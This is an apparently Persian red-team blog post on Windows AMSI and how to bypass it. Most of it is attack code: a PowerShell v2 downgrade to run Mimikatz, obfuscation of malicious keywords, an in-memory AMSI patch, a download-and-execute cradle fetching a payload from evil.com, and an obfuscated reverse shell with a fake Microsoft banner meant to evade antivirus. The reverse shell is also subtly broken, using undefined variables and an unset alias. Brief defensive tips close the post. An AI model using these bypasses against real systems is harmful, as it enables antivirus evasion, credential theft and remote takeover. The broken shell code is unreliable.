AMSI؛ دیوار شیشهای ویندوز
نویسنده: یاسین عابدینی · دسته: RedTeam · تاریخ انتشار: ۱۴۰۵/۲/۱۱
AMSI چیست؟ راهنمای جامع از صفر تا صد
۱. مقدمه
AMSI (Antivirus Scan Interface) یک رابط امنیتی در ویندوز است که از ویندوز ۱۰ به بعد معرفی شده و به اجزای مختلف سیستمعامل اجازه میدهد قبل از اجرای کدها، محتوای آنها را به آنتیویروس (مانند Windows Defender یا نرمافزارهای شخص ثالث) ارسال کنند تا بررسی شوند.
۱.۱ چرا AMSI ایجاد شد؟
قبل از AMSI، ابزارهایی مانند PowerShell میتوانستند کدهای مخرب را بدون هیچ بررسی امنیتی اجرا کنند. AMSI این شکاف را پر کرد و امکان نظارت بر موارد زیر را فراهم کرد:
- PowerShell (نسخه ۵ و بالاتر)
- VBScript
- JScript
- .NET Assemblies
- Office Macros
۲. معماری AMSI
┌─────────────────┐
│ PowerShell │
│ Script/Command │
└────────┬────────┘
│
▼
┌─────────────────┐
│ AMSI.dll │ ← رابط AMSI
│ AmsiScanBuffer()│
└────────┬────────┘
│
▼
┌─────────────────┐
│ AV Engine │ ← Defender یا AV دیگر
│ (Scan & Block) │
└─────────────────┘
۲.۱ تابع کلیدی: AmsiScanBuffer()
این تابع محتوای کد را قبل از اجرا اسکن میکند:
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer, // محتوای کد
ULONG length, // طول بافر
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result // نتیجه: Clean یا Malware
);
۳. تکنیکهای دور زدن AMSI
۳.۱ تکنیک #۱ – بازگشت به نسخه قدیمی PowerShell
توضیح: PowerShell نسخه ۲ فاقد AMSI است.
# بررسی نسخه فعلی
PS C:\> $PSVersionTable.PSVersion
Major Minor Patch
----- ----- -----
5 1 22621
# اجرای PowerShell v2 (بدون AMSI)
powershell.exe -v 2
PS v2> Import-Module Invoke-Mimikatz
# هیچ رهگیری AMSI صورت نمیگیرد
راه مقابله:
# غیرفعالسازی PowerShell v2
Disable-WindowsOptionalFeature -FeatureName MicrosoftWindowsPowerShellV2Root -Online
همچنین فعالسازی Constrained Language Mode برای محدود کردن دستورات خطرناک.
۳.۲ تکنیک #۲ – مبهمسازی رشتهها و سینتکس
هدف: شکستن امضاهای استاتیک آنتیویروس.
| مثال | توضیح |
|---|---|
i'e'x pwd |
جدا کردن "iex" با کوتیشنهای تکی |
i"e"x pwd |
استفاده از کوتیشنهای دوتایی |
i`e`x pwd |
استفاده از backtick |
invoke-mim"ik"a"t"z |
شکستن کلمه کلیدی مخرب با زیررشتههای کوتیشندار |
مثال عملی:
# به جای:
Invoke-Mimikatz
# از این استفاده کنید:
&('In'+'voke-Mim'+'ikatz')
نکته: این روش در لاگهای Transcript همچنان قابل شناسایی است.
۳.۳ تکنیک #۳ – پچ کردن AMSI در حافظه
مکانیزم: تغییر رفتار AmsiScanBuffer() در حافظه به گونهای که همیشه نتیجه "Clean" برگرداند.
# بارگذاری DLL سفارشی که پارامتر 'length' را به ۱ تغییر میدهد
[Reflection.Assembly]::LoadFile("D:\VulncityTool\Defence-Evasion\PS\ASBBypass.dll") | Out-Null
[Amsi]::Bypass()
# حالا میتوان Mimikatz را بدون هشدار اجرا کرد
Invoke-Mimikatz
نسخه سادهتر (بدون DLL):
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {
if ($b.Name -like "*iUtils") {
$c = $b
}
}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {
if ($e.Name -like "*Context") {
$e.SetValue($null, [IntPtr]0)
}
}
۳.۴ تکنیک #۴ – بازنویسی Payload با amsi.fail
سرویس amsi.fail: یک ابزار آنلاین که کدهای محبوب (مثلاً از revshells.com) را به نسخههای AMSI-safe بازنویسی میکند.
مثال:
# ورودی (شناسایی میشود):
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')
# خروجی amsi.fail (ممکن است شناسایی نشود):
$wc = [System.Net.WebClient]::new()
$data = $wc."Down`loadStr`ing"('http://evil.com/payload.ps1')
& ([scriptblock]::Create($data))
۳.۵ تکنیک #۵ – Reverse Shell کاملاً غیرقابل شناسایی
Set-Alias -Name K -Value Out-String
Set-Alias -Name NSS -Value iex
$N = New-Object "S`y`stem.Net.Sockets.T`CPCl`ient"($args[0],$args[1]);
$OO = $N.GetStream();
[byte[]]$R = 0..(32768*2-1)|%{0}; # مبهمسازی اندازه بافر
# بنر جعلی مایکروسافت برای فریب هیوریستیکها
$R = [Text.Encoding]::UTF8.GetBytes("(c) Microsoft Corporation. All rights reserved.`n`n")
$OO.Write($R,0,$R.Length)
$R = [Text.Encoding]::ASCII.GetBytes((Get-Location).Path + '>');
$OO.Write($R,0,$R.Length)
[byte[]]$NEnt = 0..(10000+55535)|%{0};
while(($UL = $TY.Read($ULnc,0,$ULnc.Length)) -ne 0){
$V = [Text.Encoding]::ASCII.GetString($ULnc,0,$UL);
$UL = (VLL $V 2>&1 | K ); # اجرای دستورات از طریق alias
$C = $UL + (pwd).Path + '> ';
$CI = [Text.Encoding]::ASCII.GetBytes($T);
$TY.Write($CI,0,$CI.Length);
$TY.Flush();
}
$N.Close()
نکات کلیدی:
0..(32768*2-1)→ دور زدن تحلیل استاتیک- بنر جعلی مایکروسافت → فریب هیوریستیکهای AV
- استفاده از alias برای cmdletهای خطرناک (
VLL=iex) - مبهمسازی نام کلاسها با backtick:
S`y`stem.Net.Sockets
۴. راههای دفاعی
۴.۱ برای مدیران سیستم
- حذف PowerShell v2
- فعالسازی Constrained Language Mode
- فعالسازی Script Block Logging
- استفاده از AppLocker/WDAC
- نظارت بر لاگهای Event ID 4104 (PowerShell execution)
۴.۲ برای توسعهدهندگان امنیتی
# تشخیص تلاش برای پچ AMSI
$amsiContext = [Ref].Assembly.GetTypes() | Where-Object {$_.Name -like "*iUtils"}
if ($amsiContext.GetFields('NonPublic,Static').GetValue($null) -eq [IntPtr]0) {
Write-Warning "AMSI Bypass Detected!"
}
۵. نتیجهگیری
AMSI یک لایه دفاعی قدرتمند است اما نه غیرقابل نفوذ. تکنیکهای فوق نشان میدهند که:
- دفاع عمقی (Defense in Depth) ضروری است
- لاگگیری مهمتر از جلوگیری است
- بهروزرسانی مداوم امضاهای AV حیاتی است
توصیه نهایی: هیچ راهحل امنیتی واحدی کافی نیست؛ ترکیب AMSI + EDR + Network Monitoring + User Training بهترین رویکرد است.